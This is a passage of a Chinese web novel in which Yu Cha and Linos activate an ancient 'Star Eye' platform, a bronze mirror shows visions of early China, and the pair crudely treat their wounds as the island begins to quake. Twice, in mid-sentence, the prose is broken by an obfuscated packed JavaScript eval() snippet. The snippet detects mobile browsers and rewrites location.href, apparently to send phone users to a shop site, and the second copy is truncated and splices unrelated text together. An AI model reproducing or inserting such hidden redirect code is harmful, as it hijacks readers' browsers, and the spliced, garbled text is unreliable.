犹豫只持续了很短的时间。她没有退路。留在这里,最终也会和这具骸骨一样,化作寂静穹顶下又一尊无言的雕像。 她深吸一口气,捡起地上的五块碎片,紧紧攥在手里。然后,她用尽力气,手脚并用地朝着平台边缘爬去。 越靠近平台,那种低频的震动感就越清晰。空气也似乎变得更加“致密”,仿佛有无形的压力从中心扩散开来。当她终于爬到平台边缘,伸手可以触及那光滑的玉白色台面时,一股强烈的排斥感骤然袭来! 不是物理的推力,而是一种源自能量层面的、冰冷而绝对的“拒绝”。仿佛这个平台,这个“星之眼”,在拒绝她这个满身血污、虚弱不堪、且没有“凭证”的闯入者。 余茶闷哼一声,感到胸口一阵窒闷,手中的碎片也突然变得滚烫。排斥的力量与碎片试图靠近的引力在她身前激烈冲突,让她如同撞上了一堵看不见的、充满弹性的墙壁。 她咬紧牙关,额头上青筋暴起,用意志对抗着那股排斥。脑海中那些冰冷的知识再次翻涌,关于“权限”,关于“共鸣”,关于“血脉”或“印记”的碎片信息闪烁不定。 权限?她没有古代守视者的血脉或印记。 共鸣?她与碎片有联系,但似乎还不够“纯粹”或“强大”。 印记……她的血,曾激活过密道。那面镜子…… 她的目光猛地转向那具骸骨手中的铜镜。一个念头如电光石火般闪过:如果镜子是某种“钥匙”或“权限证明”,甚至……是另一个“节点”或“文明遗产”的象征,那么接触它,甚至……拿起它,会不会改变她的“状态”,让系统“识别”或至少“困惑”? 排斥的力量越来越强,几乎要将她推离平台。她没有时间细想了。 余茶猛地将右手握着的、沾染了她早已干涸和新鲜血液的5块碎片,狠狠按向自己左臂刚刚在石阶上摩擦出的伤口上。同时,她的左手竭尽全力,伸向那具骸骨紧握的铜镜。 剧痛让她眼前一黑,温热的鲜血立刻涌出,浸透了碎片,也染红了她的手臂。而她的指尖,也终于碰到了那冰冷光滑的镜背。 就在她的血与碎片再次紧密结合,并且触碰到铜镜的刹那—— 排斥感……消失了。 不,不是消失,而是……转变。 那股冰冷拒绝的力量,如同潮水般退去,取而代之的是一种探究的、审视的、甚至带着一丝奇异“辨认”与“困惑”意味的“感知”,从平台中心,从那悬浮的核心碎片中弥漫开来,轻轻拂过她的身体,尤其是她流血的手臂、手中的碎片,以及……她触碰镜子的指尖。 仿佛一个沉睡的古老意识,被一组复杂矛盾的气息惊醒:既有熟悉的碎片能量与被“标记”的血,又有那面镜子带来的、既古老又陌生、既同源又异质的波动,更混杂着她这个“观察者”本身的、格格不入的时空印记。这种矛盾让系统的“防御”或“识别”机制出现了短暂的紊乱和迟疑。 余茶趁机用尽全身力气,猛地向前一扑,上半身终于趴在了平台光滑的表面上。冰冷的触感让她一激灵。她下意识地,用左手将那面铜镜从骸骨僵硬的手指间用力掰出,紧紧抓在手里。镜子入手沉重冰凉,镜背的变异夔龙纹路清晰地硌着她的掌心。 她来不及细看镜子,迅速将右手染血的五块碎片,按照它们各自对应的形状和脑海中隐约的指引,一块块塞入圆形图案外围的五个凹槽之中! 严丝合缝! “咔、咔、咔……” 轻微的、仿佛齿轮咬合又似金石鸣响的声音,从平台深处传来。放入碎片的五个凹槽,骤然亮起!石台钥匙亮起金褐色的光,铜耙子亮起青灰色的光,黑色吊坠亮起暗金色的光,陶片亮起暗红色的光,黑色木杖亮起墨绿色的光。 五色光芒沿着图案上的线条流淌、蔓延,迅速点亮了整个圆形图案!复杂的纹路如同被注入了生命,开始发光、旋转。整个平台微微震动起来,那种低频的搏动感陡然增强,与碎片的光芒共鸣! 悬浮在正中心的核心碎片,金色的光晕猛然膨胀。旋转的速度加快,内部星云般的絮状物流转如飞,一道更加凝实的金色光柱从中射出,与洞顶裂隙投下的天光完全重合,光柱的亮度瞬间提升了数倍,将整个洞窟照耀得如同白昼! 余茶被这突如其来的强光和能量激荡冲击得几乎睁不开眼,她死死趴在平台边缘,左手紧握铜镜,右手抠进石缝,防止自己被震落。 变化还在继续。五块碎片的光芒越来越盛,沿着图案线条向中心汇聚,最终化为五道颜色各异的光流,如同触手般,试探性地伸向中心悬浮的核心碎片。 核心碎片的光芒骤然内敛,仿佛在等待,在评估。 紧接着,它微微一颤,射出的金色光柱中,分出了五缕纤细的金丝,精准地“接住”了五色光流。 连接完成! “嗡——!!!” 一声低沉而宏大的嗡鸣,瞬间充斥了整个洞窟!那不是通过空气传播的声音,而是直接作用于灵魂的震动。余茶感到自己的五脏六腑都在随之震颤,脑海中一片空白! 平台上的光芒图案开始疯狂旋转、变形,无数更加复杂、更加细微的光线从核心碎片中投射出来,在平台上方交织成一幅巨大无比、不断变幻的立体星图。星图并非静止,其中的光点有的在缓慢移动,有的在明灭闪烁,有的拖着长长的轨迹,而最中央,赫然是这座岛屿及其周边海域的微缩能量脉络图。七个节点清晰可见,其中六个黯淡,只有代表“星之眼”的这一点,以及另一个……在岛屿东北方向、深海之中的点,散发着强烈的光芒。 那个深海中的光点,光芒极不稳定,剧烈闪烁,且颜色驳杂,带着一种令人不安的……“侵入”与“饥渴”感。 这就是“断裂”和“干扰”的来源?那个“坠落”或“窃取”的发生地? 就在这时,异变再生! 余茶左手紧握的那面变异夔龙纹铜镜,突然变得滚烫。不是之前温润的冰凉,而是一种灼热,仿佛镜体内部有炭火在燃烧。镜背的纹饰在强光下纤毫毕现,那角与尾仿佛活了过来,流淌起暗金色与幽蓝色交织的、如同熔融金属般的光芒。镜面本身,不再反射洞内的景象,而是泛起水波般的涟漪。 更惊人的是,镜背边缘那三圈细微的刻痕,此刻也仿佛被无形的刻刀加深、点亮。余茶在极近的距离下,终于勉强看清—— 最内圈:是那种她已见过多次的、属于这个古老系统本身的、线条流畅的几何符号与抽象纹路。也许是米诺斯文字也许更古早。 中间一圈:像苏美尔的楔形文字,但不是很标准,纹路扭曲缠绕,仿佛在记录着什么咒语或坐标。 最外一圈:是她从未见过、但结构上竟与她所知甲骨文/金文有微妙神似的刻划符号!它们更加象形,更加古朴,带着一种雄浑狞厉的美感,毫无疑问属于一个非爱琴海的文明体系。 一面镜子,三种文字或符号环绕。 余茶的心脏几乎停跳。这已经超出了“违和”的范畴。这是证据,确凿无疑的、物质性的证据,证明这个所谓的“母神文明”或“古老系统”,其影响范围绝非局限于爱琴海一隅。它曾与至少两个甚至更多,后世的主要文明源头发生过接触,留下了印记! 镜子在剧烈震动,发出一种高频的、几乎超出人耳接收范围的蜂鸣。那蜂鸣中,似乎夹杂着极其微弱的、不同语言的破碎音节回响。 与此同时,平台上的立体星图中,代表那个深海干扰源的光点,仿佛被镜子的异常激活所刺激,猛然迸射出一道强烈的、暗紫色的光束,并非射向星图中心,而是径直朝着余茶手中铜镜的方位“刺”来!仿佛镜子本身,或者镜子所代表的那个“遥远之地”的线索,对深海中的存在有着特殊的吸引力或威胁。 “呃!”余茶感到左手像被无形的冰锥刺中,灼热与剧痛交 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17226099|197565||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 织,镜子脱手飞出。 铜镜并未落地,而是被那股暗紫色光束“攫住”,悬浮在半空。镜面疯狂旋转,显示的景象彻底脱离了现实——不再反射,而是投射。 镜面如同一个被强行打开的窗口,浮现出完全陌生的动态影像—— 不再是岛屿,不是爱琴海。 那是一片截然不同的山川地貌,风格雄浑苍茫,黄土裸露,大河蜿蜒。景象快速闪动:巨大的夯土城墙巍然矗立,样式古朴的宫殿群落星罗棋布,身着宽袍大袖、头戴高冠或椎髻的人群在街道上行走,驾驶着双轮马车……镜头急速拉近,掠过一个个繁忙的市集、庄严的庙宇,最终定格在一处火光熊熊、烟尘蔽日的巨大冶炼场! 数以百计的工匠赤裸上身,在炽热的高温中忙碌。巨大的陶范排列整齐,熔炉中铜水翻滚如金色的河流。而在冶炼场中央一座最高的石台上,几位身着华丽冕服、神情肃穆的人物正在观摩。石台正中,摆放着一件被红绸覆盖的器物。一阵风吹来,绸布掀起一角—— 另一面铜镜!纹饰与余茶手中这面极其相似,同样是带角夔龙环游的图案,但细节处似乎更加繁复,带角的头更加方正,尾巴卷起但涡纹样的鳞片分明,镜背边缘同样有多圈铭文,最外圈的文字……正是那种类似甲骨文/金文的体系! 商周?或者说,华夏文明早期?真的是公元前五世纪左右的中国? 影像中的一位老者似乎是工匠首领,恭敬地捧起那面金灿灿的铜镜,将其对准天空某个方向,镜面映出陌生的星空,口中念念有词。周围所有人屏息凝视。 就在此时,余茶手中这面悬浮的镜子,镜面影像与平台星图中那个深海光点射出的暗紫色光束发生了激烈的对抗与交融。暗紫光束试图侵入镜面影像,而影像中的铜镜似乎也有所感应,镜面泛起涟漪,一股沉凝的、金色的光晕试图荡开那抹暗紫。 多重力量的撕扯让悬浮的镜子发出不堪重负的“吱嘎”声,镜面影像剧烈抖动、破碎、重组,时而显现东方冶炼场,时而闪现深海漩涡中某种巨大阴影的轮廓,时而又跳回“星之眼”洞窟本身的景象。 而连接着核心碎片的五色光流,在这突如其来的、涉及不同时空维度的剧烈干扰下,也开始变得极不稳定,能量的抽取与传输瞬间紊乱。余茶感到那股原本开始抽取她生命力的吸力,陡然增强了十倍,并且变得狂暴无序。不止是生命力,她的意识、记忆、甚至对自我的感知,都仿佛要被扯碎,吸入那混乱的能量漩涡和镜子打开的破碎影像通道之中! “啊——!”她终于忍不住发出一声短促的惨叫,感觉自己的存在正在被三方力量——平台系统、深海干扰、镜子联通的东方景象,彻底撕裂! “余茶!打碎那面镜子!或者让它远离平台!” 一声熟悉而嘶哑的怒吼,伴随着急促的脚步声和利器破空声,从洞窟入口方向传来! 利诺斯! 他如同从血泊中爬出的幽灵,浑身几乎没有完好的地方,左腿以一种可怕的角度弯曲着,仅靠一根粗糙的木棍支撑。但他冲进来的速度依然快得惊人,眼中燃烧着孤注一掷的火焰。他手中没有匕首,取而代之的是一把不知从何处捡来的、锈迹斑斑但尖端锐利的铜斧残件! 他显然看到了平台上的一切:狂暴的能量、悬浮显示异象的镜子、以及正在被撕扯的余茶。他没有丝毫犹豫,在吼出声的同时,已经用尽全身力气,将手中的铜斧残件,朝着连接悬浮镜子与平台能量、以及深海光束的那片混乱力场的核心交汇点,悍然投掷而去! 他的目标清晰至极——不是镜子本身,也不是平台,而是破坏那几股力量之间脆弱的平衡点,让最不稳定的通道先行崩溃或脱离。 铜斧残件化作一道暗沉的流光,带着利诺斯全部的决绝和力量,精准地楔入了那片肉眼不可见、但能量激荡最剧烈的“节点”。 “轰——!!!” 并非巨响,而是一种沉闷的、仿佛空间本身被撕裂的爆鸣。暗紫色光束与镜面影像的金光晕激烈对冲,平台的淡金色能量流被剧烈扰动。悬浮的夔龙纹铜镜如同被重锤击中,镜面投射的东方景象瞬间破碎成万千光点。镜子本身发出一声哀鸣般的高频颤音,表面的光芒尽数湮灭,如同断线的风筝般斜飞出去,“哐当”一声撞在远处的岩壁上,又弹落在地,翻滚了几圈,静止不动。镜背朝上,夔龙纹在尘埃中黯淡无光。 随着镜子这个最大的“干扰源”和“额外通道”被强行切断,平台上紊乱的能量为之一清。虽然连接余茶的抽取力仍在,深海光点的威胁依旧,但至少少了那最混乱、最不可控的一环。 就是这宝贵的一瞬喘息之机。 余茶感到那要将她灵魂都吸走的狂暴撕扯力陡然一松。求生的本能压倒了一切,她不知道从哪里爆发出最后的力量,右手猛地从碎片凹槽中拔出,带起一溜血珠和微弱的残留光屑,身体拼尽全力向后翻滚。 “砰!” 她重重摔落在平台下的地面上,距离那具玉白色骸骨仅几步之遥。右手的伤口深可见骨,鲜血汩汩涌出。她瘫在那里,连一根手指都动弹不得,只能大口大口地喘着气,每一次呼吸都带着血沫和灼痛,视野模糊,耳中嗡鸣不止。 几乎在她脱离的同时,失去稳定“能量源”和“锚点”,又失去了额外“变量”的激烈干扰,平台上的光芒星图发出最后一阵不甘的剧烈闪烁,那立体的能量脉络和闪烁的深海光点影像急速黯淡、收缩,最终“啵”的一声轻响,彻底消散。 五块碎片凹槽中的光芒熄灭。 中心核心碎片的金色光晕收缩回原本大小,旋转速度减缓,缓缓落回悬浮的平衡点。 洞顶天光依旧,但那股笼罩一切的、令人灵魂震颤的宏大能量场,已然退潮。 寂静,如同厚重的帷幕,重新落下。 只有尘埃在光柱中缓缓飘浮,以及两个幸存者粗重破败的喘息声。 余茶勉强转动眼珠,看向利诺斯的方向。他单膝跪地,用那根木棍死死支撑着身体,低着头,肩膀剧烈起伏,鲜血从他身上多处伤口滴落,在身下的岩石上汇聚成一小滩。他投出那一击后,似乎耗尽了所有气力。 过了仿佛一个世纪那么久,利诺斯才缓缓抬起头。他的脸上布满血污和汗水泥垢,但那双淡琥珀色的眼睛,在洞窟朦胧的光线下,依然锐利如孤狼。他的目光首先落在余茶身上,确认她还活着,然后缓缓扫过恢复平静的平台、悬浮的核心碎片,最后,定格在远处岩壁下那面静静躺着的、黯淡的夔龙纹铜镜上。 他的眼神极其复杂,有劫后余生的疲惫,有对眼前超常景象的深沉忌惮,更有一种……仿佛触及了某个巨大秘密边缘的、冰冷的清明。 他挣扎着,用木棍支撑,一点点挪到余茶身边,靠坐在她旁边的岩壁上,同样精疲力竭。 “看来……”利诺斯的声音沙哑得几乎撕裂,每一个字都带着血气,“‘守视者’要看的……不止是脚下的岛和头顶的星。” 他的目光再次投向那面铜镜,又仿佛穿透洞顶的裂隙,投向不可见的远方深海,以及比深海更遥远、更陌生的东方。 “那面镜子照出的东西,”他缓缓说道,语气里听不出情绪,“还有镜子背后可能连着的东西……比地脉失衡,比克里同的阴谋,甚至比这座岛本身……” 他顿了顿,侧过头,看向余茶苍白如纸、被血污覆盖的脸,嘴角扯出一个近乎虚无的弧度。 “……都要麻烦得多。” 余茶没有力气回答。她躺在冰冷的地上,感受着生命力随着血液一点点流失,脑海中却无比清晰地烙印着刚才那短暂而骇人的景象:平台的星图、深海的恶意光点、还有那面镜子强行打开的、通往另一个古老文明现场的“窗口”。 变异夔龙纹。三种铭文。东方的冶炼场。对应的另一面镜子。 阿尔克提斯所说的“遥远之地”。 这不是孤立的谜题。这是一个庞大拼图的一块,而这拼图的边界,远远超出了爱琴海,超出了她所有的预期。 寂静的穹顶之下,古老的观测站核心,悬浮的第七块碎片无声旋转。一具千年前的守视者骸骨依然执着地指向它。一面来自未知远方的铜镜躺在尘埃中,默默承载着跨越大陆与文明的秘辛。 而两个伤痕累累、命悬一线的闯入者,在偶然与必然的交织中,撞破了这个秘密的一角。 校准未成,危机未解。 但他们触碰到的真相的维度,已经彻底改变。 余茶缓缓闭上眼,最后的意识在想:如果她能活下去……这面镜子,和她脑海中的知识碎片,将会把她引向何方? 而那个“代价”,在牵扯进如此宏大的时空谜局后,又会以何种形式,要求她支付? 寂静,吞噬了一切答案。只有光,亘古流淌。 29. 代价的重量 左腿的伤口像一块烧红的烙铁,嵌在失去知觉的麻木之上。每一次心跳,都仿佛将滚烫的痛楚泵向全身。余茶甚至能感觉到温热的血液仍在缓慢地浸透那简陋的包扎,在身下冰冷的岩石上晕开粘稠的痕迹。她仰面躺着,视线模糊地对着那高远、流淌着天光的穹顶,意识在剧痛与失血造成的昏沉边缘摇摇欲坠。 旁边传来粗重而压抑的喘息,是利诺斯。他靠坐在岩壁上,闭着眼,胸膛起伏剧烈,但握紧木棍的手没有丝毫放松,保持着一种随时可能暴起的警戒姿态。他的伤势同样惨不忍睹——左腿不自然地扭曲,身上多处深可见骨的伤口,失血量恐怕不比余茶少。两个人都像是在地狱门口晃了一圈,勉强爬回半只脚。 寂静笼罩着“星之眼”。平台上的能量风暴平息后,这里恢复了那种亘古的、令人心悸的静谧。只有洞顶裂隙投下的光柱依旧,尘埃在其中缓缓舞动,映照着悬浮的核心碎片那恒定的金色光晕,以及不远处那具玉白色骸骨沉默的轮廓。 余茶的左手无力地摊开在身边,掌心空空。那面引发轩然大波的夔龙纹铜镜,此刻正静静躺在几米外的岩壁下,镜背朝上,古朴的纹路在尘埃中黯淡无光,仿佛刚才那场撕裂时空的异象只是一场集体幻觉。 但她知道不是。左手掌心还残留着镜子骤然滚烫又骤然冰凉的触感,脑海里更清晰地烙印着镜面强行投射出的、那片陌生而宏大的东方景象——夯土城墙、宽袍大袖的人群、火光熊熊的冶炼场,以及……那面被红绸半掩、纹饰对应的另一面铜镜。 还有环绕镜背的三圈铭文。线形符号、变体字母、以及那些结构与甲骨文神似的古老刻划…… 这不是偶然。这不是孤立的事件。 阿尔克提斯家族传承的“遥远之地”遗物,守视者骸骨至死紧握的凭证,能够与“星之眼”系统产生复杂共鸣、甚至引来深海未知存在觊觎的钥匙…… 这面镜子背后,是一个与脚下这座岛屿、与所谓“米诺斯文明”遗产紧密相连,却又独立延展出去的、更加辽阔深邃的谜团。一个跨越了大陆与海洋、连接了不同文明源头的……网络?或者遗产? 这个认知带来的不是豁然开朗,而是更沉重的寒意。如果连这座岛屿的地脉危机都只是某个更大图景的一角,如果他们寻找的“七钥”和“校准”只是庞大系统的一个局部功能,那么,他们之前的所有挣扎、算计、牺牲,又算是什么?蝼蚁试图理解巨轮的运转?还是偶然被卷入庞大战争的一粒尘埃? 更可怕的是代价。浮雕的警告,“心亦有所求”。如果“心”不仅仅是岛屿地脉系统本身,而是那个更宏大、更古老的存在,那么它要求的“代价”,又会是什么量级? “能动吗?” 利诺斯嘶哑的声音打破了死寂。他依旧闭着眼,但显然在感知她的状态。 余茶尝试动了动手指,然后是手臂。剧痛传来,但还能控制。她深吸一口气,冰凉的空气刺痛肺叶,却也带来一丝清醒。 “……死不了。”她声音干涩得如同砂纸摩擦,“但左腿……没戏了。”她说得平静,像是在陈述别人的伤势。废了一条腿,在这绝境中意味着什么,彼此心知肚明。行动能力归零,生存概率暴跌。 利诺斯没有回应这句显而易见的废话。他沉默了几息,似乎在积攒力气,然后缓缓睁开眼。那双淡琥珀色的眸子在昏暗光线下显得异常幽深,目光扫过余茶惨白的脸,重点在她血肉模糊的左腿停留了一瞬,然后移开,重新落在那面远处的铜镜上。 “那镜子,”他开口,语气听不出情绪,“阿尔克提斯提过。说是她家族最古老的几件东西之一,来自‘大分裂’之前的时代,与遥远的盟约有关。她一直不知道具体用途。”他顿了顿,“看来,用途不小。” 余茶心头微震。果然,阿尔克提斯知道这面镜子的存在,甚至知道它与遥远之地的关联。但她显然不知道镜子能在这里引发如此异象,更不知道镜子背后可能牵扯的时空谜团。 “你看到了什么?”利诺斯问,目光依旧盯着镜子,“在它发疯的时候。” 余茶闭上眼睛,那些破碎而清晰的画面再次涌现:“另一个遥远地方。比波斯还要遥远的极东方出现的城池和冶炼场。很多人,穿着不同的衣服。还有……另一面类似的镜子。”她省略了关于铭文细节的观察,那太复杂,也未必是利诺斯关心的重点。 利诺斯沉默了更长时间。“极东方……”他低声重复,这个词在他舌尖滚动,带着一种奇异的重量。“阿尔克提斯说,古老的歌谣里提到过,当七眼皆暗,需要‘循此脉’,但最终的方向,除了地心的低语,还有‘星之彼岸’的指引……‘彼岸’,原来不止是比喻?” 他似乎陷入了某种回忆或思索。余茶没有打扰他,她也在整理自己混乱的思绪和脑海中那些强行灌入的“知识”碎片。系统的描述、断裂的警告、校准的需要、外部的干扰……现在又多了一个“东方对应物”和“跨文明网络”的可能性。 “深海里的那个光点,”余茶忽然开口,声音微弱但清晰,“你看到了吗?在星图里。” 利诺斯点头,眼神锐利起来:“看到了。恶意。很强烈的恶意,还有……贪婪。它在试图干扰这里,甚至可能……想通过那面镜子做点什么。”他看了一眼恢复平静的平台,“刚才如果不是打断了镜子和这里的连接,恐怕不止是校准失败那么简单。” 余茶想起那股试图侵入镜面影像的暗紫色光束,以及影像中东方铜镜自发荡开的青金光晕。对抗。不仅仅是干扰,更像是某种……争夺?争夺镜子?还是争夺镜子所连接的“通道”或“权限”? “那东西……是什么?”她问。 利诺斯摇头,脸上第一次露出近乎茫然的凝重:“不知道。克里同的挖掘?不太像,那种气息……更古老,更……非人。也许是地脉失衡引来的‘东西’,也许是这个古老系统本身的‘病变’部分,也许是……”他顿了顿,没有说下去,但余茶明白他的未尽之言——也许是更可怕、更未知的存在。 两人再次陷入沉默。伤势、谜团、危机,如同三重枷锁,沉甸甸地压在心头。而他们此刻,几乎失去了所有行动能力。 时间一分一秒过去。失血带来的寒冷越来越明显,余茶感到体温在流失,意识开始不受控制地涣散。她知道,如果不做点什么,他们很快就会因为失血和失温,无声无息地死在这寂静的穹顶之下,成为那具守视者骸骨之后的又两具枯骨。 “必须……止血。处理伤口。”她咬着牙,几乎是从牙缝里挤出这句话。这是最现实、最迫切的问题。 利诺斯看了她一眼,又看了看自己惨不忍睹的身体。“嗯。”他简单应道,开始艰难地挪动身体,试图解开自己身上破烂不堪、已被血浸透的衣物,寻找相对干净的布条。 余茶也强迫自己行动起来。她用还能动的右手,配合牙齿,开始解自己左腿上那条早已被血浸透、几乎和皮肉粘在一起的破烂布条。每一下牵扯都带来钻心的剧痛,她额头上瞬间布满了冷汗,眼前阵阵发黑。 过程缓慢而折磨。当最后一块粘着皮肉的布条被撕下时,余茶差点痛晕过去。伤口暴露在冰凉的空气中——脚踝处肿胀紫黑,皮开肉绽,深可见骨,而小腿上那道她自己划开的、用来激活密道的伤口更是狰狞,皮肉外翻,边缘泛白,仍在缓慢渗血。整条左腿看起来惨不忍睹,感染和坏死的风险极高。 利诺斯挪了过来,递过来几缕勉强还算干净的布条,不知是从他自己身上还是那具骸骨附近找到的少许织物残留,还有一小块坚硬的、边缘锋利的燧石薄片。“没有水清洗。直接用布勒紧。腿上的大伤口,如果不想烂掉或者流血到死……”他看了一眼余茶小腿的伤口,“可能得……烧一下。” 烧灼止血。最原始、最痛苦,但在这种环境下可能最有效的方法之一。 余茶接过布条和燧石,手指冰冷颤抖。她看着自己腿上可怕的伤口,又看了看利诺斯递过来的燧石。没有火绒,没有引火物,在这冰冷干净的洞窟里,如何生火? 利诺斯似乎看出了她的疑问,他沉默地拿回燧石,然后,做了一件让余茶意想不到的事。 他挪到那个空着的、离平台最近的墩座旁,用燧石锋利的边缘,狠狠划向墩座表面! “嗤啦——!” 一种奇异的、仿佛金属摩擦又带着轻微火花迸溅的声音响起。墩座那玉白色的石材表面,竟然被划出了一道浅浅的白痕,而在燧石划过的轨迹上,留下了几点极其微弱的、转瞬即逝的火星。 这墩座的石材,含有某种特殊的、易于摩擦生火的矿物成分? 利诺斯没有停,他快速从自己破烂的衣襟内衬里,扯出最后一点点相对干燥、纤维细碎的布料纤维,小心翼翼地放在墩座划痕附近。然后,他再次用力,用燧石快速、反复地刮擦墩座表面。 “嗤啦!嗤啦!嗤啦!” 火星变得稍多、稍亮了一些,落在那些干燥的纤维上。一缕极其细微的、几乎看不见的青烟升起。 利诺斯俯下身,用嘴极其轻柔地吹气。他的动作稳定而专注,尽管因为失血和虚弱,他的手臂在微微颤抖。 余茶屏住呼吸,看着那缕青烟从若有若无,到逐渐明显,然后——一点微弱的、橘红色的小火苗,猛地从纤维堆中窜了起来! 成功了! 火苗很小,但在绝对的寂静和昏暗中,它带来的光亮和温暖感,几乎是救赎般的。 利诺斯迅速但小心地将那簇小火苗转移到旁边一块平坦的小石片上,又添上一点从衣物上扯下的、相对易燃的纤维。火势稍微稳定了一些,发出噼啪的轻响,照亮了两人狼狈不堪的脸和周围一小圈区域。 “快点。”利诺斯声音依旧沙哑,但不容置疑。他将那柄青铜双头斧的尖端,放在了火苗上灼烧。 余茶明白该做什么。她将左腿尽量伸向火光,看着那狰狞的伤口,深吸一口气,右手死死抓住了旁边一块突出的岩石。没有麻药,没有安慰,只有最原始的生存需求。 当烧红的青铜尖端靠近皮肉时,她闻到了焦糊味。 下一秒,无法形容的剧痛如同海啸般席卷了她所有的神经!她咬紧牙关,喉咙里发出野兽般的、压抑到极致的呜咽,眼前瞬间被黑暗和金星充斥,全身肌肉绷紧如铁,右手手指深深抠进了岩石缝隙! 利诺斯的手很稳,尽管他自己的情况同样糟糕。他快速而精准地用灼热的金属烫过伤口最深处和主要的出血点。嗤嗤作响,青烟冒起。 整个过程可能只持续了十几秒,但对余茶而言,如同在地狱的油锅里滚了一遭。当利诺斯移开斧头时,她几乎虚脱,整个人被冷汗浸透,牙齿打颤,连疼痛都感觉有些麻木了。 伤口被粗暴地封闭了,焦黑的痕迹覆盖了翻卷的皮肉,血流明显减缓。 利诺斯一言不发,用那些相对干净的布条,将她左腿从脚踝到膝盖上方紧紧包扎起来,固定住伤腿。然后,他挪到一边,开始用同样的方法处理自己身上几处最严重的伤口。余茶看着他紧绷的下颌线和因为剧痛而微微抽搐的嘴角,知道他所承受的绝不比自己轻松。 火光摇曳,映照着两个在绝境中默默对自己实施酷刑以求生的人。没有言语,只有粗重的喘息和火焰的噼啪声。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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特定条件……余茶想起平台上的凹槽,需要集齐七钥。他们现在有六块,但显然刚才的尝试失败了,而且差点引发灾难。再试一次?在两人重伤、缺乏能源,且有深海干扰虎视眈眈的情况下? 风险太高,近乎自杀。 那么,镜子呢?既然镜子能与平台共鸣,甚至打开“通道”,它本身会不会就是某种“钥匙”或“触发器”,可以打开隐藏的出口? 这个想法很诱人,但也极其危险。刚才的失控就是前车之鉴。 就在两人相对无言,权衡着几乎不存在的选项时,洞窟内,那种一直存在的、极其微弱的低频震动,似乎发生了一丝变化。 非常细微,但余茶和利诺斯几乎同时察觉到了。 震动的频率……在加快?幅度也在极其缓慢地增强。 不是来自平台核心碎片,那东西依旧静静悬浮。也不是来自他们自身。 仿佛……来自脚下的山体深处,或者,更遥远的什么地方。 与此同时,余茶感到怀中布囊里那五块已经沉寂的碎片,似乎又传来了一丝极其微弱的、几乎难以察觉的温热感。不是之前共鸣的震动,而是一种……仿佛被远方某种同频震动所“唤醒”的被动回应。 利诺斯也猛地坐直了身体,尽管牵动伤口让他脸色一白。他侧耳倾听,目光锐利地扫视洞窟,最后定格在洞顶那道倾泻天光的裂隙。 “外面……”他声音紧绷,“有情况。” 余茶也凝神去听。除了那增强的低频震动,隔着厚重的山体,似乎……隐约传来了一种沉闷的、连绵不绝的轰鸣声?像是……雷声?但又更加低沉、持久,仿佛大地本身在呻吟。 还有,空气的流动似乎也加快了一丝,从洞顶裂隙灌入的风,带来了一股极其微弱的、焦糊与硫磺混合的刺鼻气味。 这气味……和之前在矿坑节点、南湾节点闻到过的、地脉能量异常外泄时的气味很像,但更加浓烈、更加……不祥。 “地脉……”余茶脱口而出,“又爆发了?还是……更严重了?” 利诺斯脸色阴沉得可怕。“恐怕不止是爆发。”他缓缓说道,目光似乎穿透岩石,看到了外面的景象,“刚才我们强行启动平台,虽然失败了,但那么大的能量扰动……可能刺激到了本就不稳定的地脉系统。深海那个东西的反应,可能也加剧了这一点。” 他看向余茶:“如果地脉大规模暴走,整座岛……” 他的话没说完,但意思明确。山崩地裂,火山喷发,海啸……任何一种,都是以毁灭这座岛屿和其上的一切。 而他们,被困在山腹深处的“星之眼”,看似安全,实则如同被关进了一个正在加热的高压釜。 震动在持续增强,洞顶开始有细小的灰尘和碎石簌簌落下。那沉闷的轰鸣声也越来越清晰。 死亡的阴影,以另一种更加宏大、更加无可逃避的方式,再次笼罩下来。 利诺斯猛地看向那面夔龙纹铜镜,眼中光芒急剧闪烁,似乎在做一个极其艰难的决定。 “镜子,”他哑声道,“或许不是出口。但可能是……唯一的变数。” 他挣扎着,用木棍支撑,一点点向那面镜子挪去。 余茶看着他艰难的背影,又感受着脚下越来越明显的震动和空气中愈发刺鼻的气味。 代价…… 他们试图触碰秘密,试图校准系统,却引来了更深层的危机。 而现在,他们或许不得不再次依靠这面充满未知危险的镜子,在这绝境中,搏取一线渺茫的生机。 而这次,需要支付的代价,又会是什么? 30. 山腹通道 利诺斯的手指在触碰到那面夔龙纹铜镜的前一刻,停住了。 冰冷的镜缘近在咫尺,镜背古朴的纹路在微弱的天光下勾勒出沉默的轮廓。刚才那场撕裂感官的能量风暴还残留在记忆里——灼热、震动、以及强行打开的、通往另一个时空的窗口。 代价。 这个词如同沉重的巨石,压在他的每一次呼吸上。他是个赌徒,习惯于在刀尖上跳舞,用风险博取利益。但这一次,风险的性质已经变了。不再是金币、信息或短暂的同盟,而是……他无法理解的存在,无法衡量的后果,以及彻底失控的可能性。 山体的震动正在变得清晰可感,不再是脚底微弱的麻痒,而是沿着脊椎传递上来的、低沉的嗡鸣。灰尘如同细雪,从洞顶裂隙和四周岩壁簌簌落下,在光柱中狂乱飞舞。远处传来的轰鸣声沉闷而连绵,如同巨兽在地壳深处翻滚。空气里那股焦糊与硫磺混合的气味愈发刺鼻,每一次呼吸都带来喉咙的灼烧感。 这不是普通的震动,甚至不是寻常的地脉波动。这是系统性的、从深处开始的……崩溃前兆。 余茶躺在不远处,脸色在尘埃和血污下苍白得近乎透明。她左腿被粗陋包扎的轮廓在昏暗光线下显得臃肿而脆弱,整个人像一件被暴力摔碎后勉强拼合的瓷器,黑发凌乱、气息微弱。她的目光却越过弥漫的尘埃,紧紧锁在他和那面镜子之间,那眼神里没有恐惧,也没有催促,只有一种近乎冷酷的、等待计算的平静。 